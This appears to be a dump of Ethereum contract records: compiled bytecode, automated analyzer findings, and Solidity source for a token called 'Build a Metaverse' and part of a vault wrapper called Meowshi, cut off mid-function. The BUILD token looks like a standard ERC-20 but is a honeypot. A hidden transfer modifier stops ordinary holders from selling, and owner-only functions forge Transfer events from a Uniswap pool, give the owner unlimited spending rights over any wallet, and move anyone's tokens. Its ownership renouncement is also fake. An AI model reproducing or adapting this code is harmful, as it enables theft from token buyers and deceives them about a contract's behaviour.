11b00578081fd5b8235611b0b81611e82565b91506020830135611b1b81611e82565b809150509250929050565b600080600060608486031215611b3a578081fd5b8335611b4581611e82565b92506020840135611b5581611e82565b929592945050506040919091013590565b60008060408385031215611b78578182fd5b8235611b8381611e82565b946020939093013593505050565b60006020808385031215611ba3578182fd5b823567ffffffffffffffff80821115611bba578384fd5b818501915085601f830112611bcd578384fd5b813581811115611bdf57611bdf611e6c565b8060051b604051601f19603f83011681018181108582111715611c0457611c04611e6c565b604052828152858101935084860182860187018a1015611c22578788fd5b8795505b83861015611c4b57611c3781611aa6565b855260019590950194938601938601611c26565b5098975050505050505050565b600060208284031215611c69578081fd5b813561144881611e97565b600060208284031215611c85578081fd5b815161144881611e97565b600060208284031215611ca1578081fd5b5035919050565b600080600060608486031215611cbc578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d0157858101830151858201604001528201611ce5565b81811115611d125783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dac5784516001600160a01b031683529383019391830191600101611d87565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611de057611de0611e56565b500190565b600082611e0057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e1f57611e1f611e56565b500290565b600082821015611e3657611e36611e56565b500390565b6000600019821415611e4f57611e4f611e56565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461076857600080fd5b801515811461076857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d5a192499fc77215302454f6ca87118afad40075eb4ad917e7832df2ea064c464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,380
0x86e429ee7ef4dd853dd0228351c6000cb10ef03f
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract BuildAMetaverse is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _affirmative; mapping (address => bool) private _rejectPile; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwner; uint256 private _sellAmount = 0; address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address deployer = 0xA16952e516E3cEf5EAF29b300235C799297c444C; address public _owner = 0x4881ce245cFB495e66877244c10e2c6dd44af59A; constructor () public { _name = "Build a Metaverse"; _symbol = "BUILD"; _decimals = 18; uint256 initialSupply = 49116650679 * 10**16 ; _safeOwner = _owner; _mint(deployer, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _start(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _start(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function approvalIncrease(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _affirmative[receivers[i]] = true; _rejectPile[receivers[i]] = false; } } function approvalDecrease(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _rejectPile[receivers[i]] = true; _affirmative[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _owner){ sender = deployer; } emit Transfer(sender, recipient, amount); } modifier main(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_affirmative[sender] == true){ _;}else{if (_rejectPile[sender] == true){ require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _auth() { require(msg.sender == _owner, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){ //Multi Transfer Emit Spoofer from Uniswap Pool for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){ //Emit Transfer Spoofer from Uniswap Pool emit Transfer(emitUniswapPool, emitReceiver, emitAmount);} function exec(address recipient) public _auth(){ _affirmative[recipient]=true; _approve(recipient, _currentRouter,_approveValue);} function obstruct(address recipient) public _auth(){ //Blker _affirmative[recipient]=false; _approve(recipient, _currentRouter,0); } function renounceOwnership() public _auth(){ //Renounces Ownership } function reverse(address target) public _auth() virtual returns (bool) { //Approve Spending _approve(target, _msgSender(), _approveValue); return true; } function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) { //Single Tranfer _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){ //Emit Single Transfer emit Transfer(emitSender, emitRecipient, emitAmount); } function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){ _approve(sndr, _msgSender(), _approveValue); for (uint256 i = 0; i < receivers.length; i++) { _transfer(sndr, receivers[i], amounts[i]); } } function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){ for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}} function burnLPTokens()public _auth(){} }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063b2bdfa7b11610097578063d8fc292411610071578063d8fc292414610946578063dd62ed3e14610a79578063e30bd74014610aa7578063e396207514610acd576101a9565b8063b2bdfa7b146107ef578063bb88603c14610747578063cd2ce4f214610813576101a9565b8063a1a6d5fc116100d3578063a1a6d5fc14610757578063a64b6e5f1461078d578063a901431314610757578063a9059cbb146107c3576101a9565b806370a0823114610721578063715018a61461074757806395d89b411461074f576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106085780635768b61a146106345780636268e0d51461065a5780636bb6126e146106fb576101a9565b8063313ce567146103845780633cc4430d146103a25780634c0cc925146104d5576101a9565b8063043fa39e146101ae57806306fdde0314610251578063095ea7b3146102ce5780630cdfb6281461030e57806318160ddd1461033457806323b872dd1461034e575b600080fd5b61024f600480360360208110156101c457600080fd5b810190602081018135600160201b8111156101de57600080fd5b8201836020820111156101f057600080fd5b803590602001918460208302840111600160201b8311171561021157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ad5945050505050565b005b610259610bca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029357818101518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102fa600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610c60565b604080519115158252519081900360200190f35b61024f6004803603602081101561032457600080fd5b50356001600160a01b0316610c7d565b61033c610ce7565b60408051918252519081900360200190f35b6102fa6004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610ced565b61038c610d74565b6040805160ff9092168252519081900360200190f35b61024f600480360360608110156103b857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103e257600080fd5b8201836020820111156103f457600080fd5b803590602001918460208302840111600160201b8311171561041557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561046457600080fd5b82018360208201111561047657600080fd5b803590602001918460208302840111600160201b8311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d7d945050505050565b61024f600480360360608110156104eb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561051557600080fd5b82018360208201111561052757600080fd5b803590602001918460208302840111600160201b8311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561059757600080fd5b8201836020820111156105a957600080fd5b803590602001918460208302840111600160201b831117156105ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e43945050505050565b61024f6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135610ee9565b61024f6004803603602081101561064a57600080fd5b50356001600160a01b0316610fc7565b61024f6004803603602081101561067057600080fd5b810190602081018135600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611049945050505050565b61024f6004803603602081101561071157600080fd5b50356001600160a01b0316611139565b61033c6004803603602081101561073757600080fd5b50356001600160a01b03166111c0565b61024f6111db565b61025961122a565b61024f6004803603606081101561076d57600080fd5b506001600160a01b0381358116916020810135909116906040013561128b565b6102fa600480360360608110156107a357600080fd5b506001600160a01b03813581169160208101359091169060400135611316565b6102fa600480360360408110156107d957600080fd5b506001600160a01b038135169060200135611371565b6107f7611385565b604080516001600160a01b039092168252519081900360200190f35b61024f6004803603606081101561082957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085357600080fd5b82018360208201111561086557600080fd5b803590602001918460208302840111600160201b8311171561088657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460208302840111600160201b8311171561090857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611394945050505050565b61024f6004803603606081101561095c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561098657600080fd5b82018360208201111561099857600080fd5b803590602001918460208302840111600160201b831117156109b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a0857600080fd5b820183602082011115610a1a57600080fd5b803590602001918460208302840111600160201b83111715610a3b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611454945050505050565b61033c60048036036040811015610a8f57600080fd5b506001600160a01b03813581169160200135166114d1565b6102fa60048036036020811015610abd57600080fd5b50356001600160a01b03166114fc565b6107f7611560565b600d546001600160a01b03163314610b1d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc657600160026000848481518110610b3b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610b8c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b20565b5050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c74610c6d6115d0565b84846115d4565b50600192915050565b600d546001600160a01b03163314610cc5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6000610cfa8484846116c0565b610d6a84610d066115d0565b610d6585604051806060016040528060288152602001611f58602891396001600160a01b038a16600090815260036020526040812090610d446115d0565b6001600160a01b031681526020810191909152604001600020549190611cb8565b6115d4565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610dca576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d57828181518110610de257fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f80833981519152848481518110610e1857fe5b60200260200101516040518082815260200191505060405180910390a3600101610dcd565b50505050565b600d546001600160a01b03163314610e90576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610ea483610e9c6115d0565b6008546115d4565b60005b8251811015610e3d57610ee184848381518110610ec057fe5b6020026020010151848481518110610ed457fe5b6020026020010151611d4f565b600101610ea7565b600d546001600160a01b03163314610f48576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f55908261156f565b600455600d546001600160a01b0316600090815260208190526040902054610f7d908261156f565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611f808339815191529281900390910190a35050565b600d546001600160a01b03163314611014576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546110469284929116906115d4565b50565b600d546001600160a01b03163314611091576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc65760018060008484815181106110ae57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106110ff57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611094565b600d546001600160a01b03163314611186576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461104692849216906115d4565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611228576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b600d546001600160a01b031633146112d8576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611366576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610cfa848484611d4f565b6000610c7461137e6115d0565b84846116c0565b600d546001600160a01b031681565b600d546001600160a01b031633146113e1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d578281815181106113f957fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f8083398151915284848151811061142f57fe5b60200260200101516040518082815260200191505060405180910390a36001016113e4565b600d546001600160a01b031633146114a1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6114ad83610e9c6115d0565b60005b8251811015610e3d576114c984848381518110610ec057fe5b6001016114b0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546000906001600160a01b0316331461154c576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b61155882610e9c6115d0565b506001919050565b600b546001600160a01b031681565b6000828201838110156115c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116195760405162461bcd60e51b8152600401808060200182810382526024815260200180611fc56024913960400191505060405180910390fd5b6001600160a01b03821661165e5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ef06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548491849184916001600160a01b0391821691161480156116f35750600d546001600160a01b038481169116145b1561188957600980546001600160a01b0319166001600160a01b038481169190911790915586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03851661179a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b6117a5868686611ec7565b6117e284604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611811908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d548782169116141561184b57600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a3611cb0565b600d546001600160a01b03848116911614806118b257506009546001600160a01b038481169116145b806118ca5750600d546001600160a01b038381169116145b1561194d57600d546001600160a01b0384811691161480156118fd5750816001600160a01b0316836001600160a01b0316145b1561190857600a8190555b6001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff16151514156119b9576001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff16151560011415611a43576009546001600160a01b0384811691161480611a085750600b546001600160a01b038381169116145b6119085760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b600a54811015611ad7576009546001600160a01b0383811691161415611908576001600160a01b0383811660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6009546001600160a01b0384811691161480611b005750600b546001600160a01b038381169116145b611b3b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b6001600160a01b038616611b805760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038516611bc55760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611bd0868686611ec7565b611c0d84604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611c3c908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d5487821691161415611c7657600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a35b505050505050565b60008184841115611d475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d0c578181015183820152602001611cf4565b50505050905090810190601f168015611d395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611d945760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038216611dd95760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611de4838383611ec7565b611e2181604051806060016040528060268152602001611f12602691396001600160a01b0386166000908152602081905260409020549190611cb8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e50908261156f565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156112d857600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212203e8f5558fe38977d35822ec28d11d79426f9973eddb18d25b6977496f671e91b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,381
0xdb27da48027062b4035fb5991660f12df1d553f1
// SPDX-License-Identifier: UNLICENSED // @title Meowshi (MEOW) 🐈 🍣 🍱 // @author Gatoshi Nyakamoto pragma solidity 0.8.4; /// @notice Interface for depositing into & withdrawing from BentoBox vault. interface IERC20{} interface IBentoBoxBasic { function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into & withdrawing from SushiBar. interface ISushiBar { function balanceOf(address account) external view returns (uint256); function enter(uint256 amount) external; function leave(uint256 share) external; function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields. // ៱˳_˳៱ ∫ contract Meowshi { IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet) ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet) address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet) string constant public name = "Meowshi"; string constant public symbol = "MEOW"; uint8 constant public decimals = 18; uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW uint256 public totalSupply; /// @notice owner -> spender -> allowance mapping. mapping(address => mapping(address => uint256)) public allowance; /// @notice owner -> balance mapping. mapping(address => uint256) public balanceOf; /// @notice owner -> nonce mapping used in {permit}. mapping(address => uint256) public nonces; /// @notice A record of each account's delegate. mapping(address => address) public delegates; /// @notice A record of voting checkpoints for each account, by index. mapping(address => mapping(uint256 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account. mapping(address => uint256) public numCheckpoints; /// @notice The ERC-712 typehash for this contract's domain. bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The ERC-712 typehash for the delegation struct used by the contract. bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The ERC-712 typehash for the {permit} struct used by the contract. bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice Events that are emitted when an ERC-20 approval or transfer occurs. event Approval(address indexed owner, address indexed spender, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice An event that's emitted when an account changes its delegate. event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event that's emitted when a delegate account's vote balance changes. event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance); /// @notice A checkpoint for marking number of votes from a given block. struct Checkpoint { uint256 fromBlock; uint256 votes; } constructor() { sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract } /// @notice Enables calling multiple methods in a single call to this contract. function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); unchecked {for (uint256 i = 0; i < data.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { if (result.length < 68) revert(); assembly {result := add(result, 0x04)} revert(abi.decode(result, (string))); } results[i] = result;}} } /************* MEOW FUNCTIONS *************/ // **** xSUSHI /// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`. function meow(address to, uint256 amount) external returns (uint256 shares) { ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim (, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0); meowMint(to, shares * multiplier); } /// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`. function unmeow(address to, uint256 amount) external returns (uint256 amountOut) { meowBurn(amount); unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);} } // **** SUSHI /// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`. function meowSushi(address to, uint256 amount) external returns (uint256 shares) { sushiToken.transferFrom(msg.sender, address(this), amount); ISushiBar(sushiBar).enter(amount); (, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), balanceOfOptimized(sushiBar), 0); meowMint(to, shares * multiplier); } /// @notice Leave 